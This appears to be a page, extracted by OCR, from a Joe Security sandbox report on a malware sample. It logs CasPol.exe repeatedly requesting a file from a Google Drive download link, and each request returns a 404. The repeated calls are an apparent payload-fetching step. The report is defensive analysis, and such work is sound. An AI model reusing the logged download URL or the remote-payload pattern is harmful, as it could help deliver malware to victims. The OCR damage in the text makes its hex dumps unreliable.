<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:21 UTC 152

2021-11-24 10:55:21 UTC 153

2021-11-24 10:55:21 UTC 154

2021-11-24 10:55:21 UTC 154

Session ID Source IP

103 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:21 UTC 154

2021-11-24 10:55:21 UTC 154

2021-11-24 10:55:21 UTC 155

2021-11-24 10:55:21 UTC 155

Session ID Source IP
104 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49927

Direction

ouTt

Source Port

49928

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-gctQjg3Pzh+wFuD3rjghOw' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:55:21 GMT

Expires: Wed, 24 Nov 2021 10:55:21 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-7W/usQyRBTXWItCMzIS6dA" ‘unsafe-inline' 'strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:21 GMT

Expires: Wed, 24 Nov 2021 10:55:21 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:21 UTC 155

2021-11-24 10:55:22 UTC 156

2021-11-24 10:55:22 UTC 157

2021-11-24 10:55:22 UTC 157

Session ID Source IP

105 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:22 UTC 157

2021-11-24 10:55:22 UTC 157

2021-11-24 10:55:22 UTC 158

2021-11-24 10:55:22 UTC 158

Session ID Source IP
106 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49929

Direction

ouT

Source Port

49930

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-NFUaub02m00AWS5MY12Mfog' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe
-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Date: Wed, 24 Nov 2021 10:55:21 GMT

Expires: Wed, 24 Nov 2021 10:55:21 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘'nonce-QcW1J+BkTGJi2XkyRNHiVQ' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:22 GMT

Expires: Wed, 24 Nov 2021 10:55:22 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
Page 16 of 80



kBytes
Timestamp transferred

2021-11-24 10:55:22 UTC 158

2021-11-24 10:55:22 UTC 159

2021-11-24 10:55:22 UTC 160

2021-11-24 10:55:22 UTC 160

Session ID Source IP

107 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:22 UTC 160

2021-11-24 10:55:23 UTC 160

2021-11-24 10:55:23 UTC 161

2021-11-24 10:55:23 UTC 161

Session ID Source IP
108 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49931

Direction

ouT

Source Port

49932

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-TdwpPcsWUMsJrS/4/WtQBQ' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Date: Wed, 24 Nov 2021 10:55:22 GMT

Expires: Wed, 24 Nov 2021 10:55:22 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-Dzd/Z6Z2IbHzkiaw6cligg' ‘'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:22 GMT

Expires: Wed, 24 Nov 2021 10:55:22 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:23 UTC 161

2021-11-24 10:55:23 UTC 162

2021-11-24 10:55:23 UTC 163

2021-11-24 10:55:23 UTC 163

Session ID Source IP

109 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:23 UTC 163

2021-11-24 10:55:23 UTC 163

2021-11-24 10:55:23 UTC 164

2021-11-24 10:55:23 UTC 164

Session ID Source IP
11 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49933

Direction

ouTt

Source Port

49833

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-tMnU8s8tH6JitCFjeFMWFQ' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:55:23 GMT

Expires: Wed, 24 Nov 2021 10:55:23 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src 'nonce-yv3W+UVr8PhcfegLU6B9bcA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:23 GMT

Expires: Wed, 24 Nov 2021 10:55:23 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:42 UTC 16

2021-11-24 10:54:42 UTC 17

2021-11-24 10:54:42 UTC 18

2021-11-24 10:54:42 UTC 18

Session ID Source IP

110 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:23 UTC 164

2021-11-24 10:55:24 UTC 165

2021-11-24 10:55:24 UTC 166

2021-11-24 10:55:24 UTC 166

Session ID Source IP
111 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49934

Direction

ouT

Source Port

49935

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-ZHveFqOWoVcTXhV9idrRXA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Date: Wed, 24 Nov 2021 10:54:42 GMT

Expires: Wed, 24 Nov 2021 10:54:42 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Content-Security-Policy: script-src ‘nonce-VIOCkVi9ogNgmw6zMce3ig' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
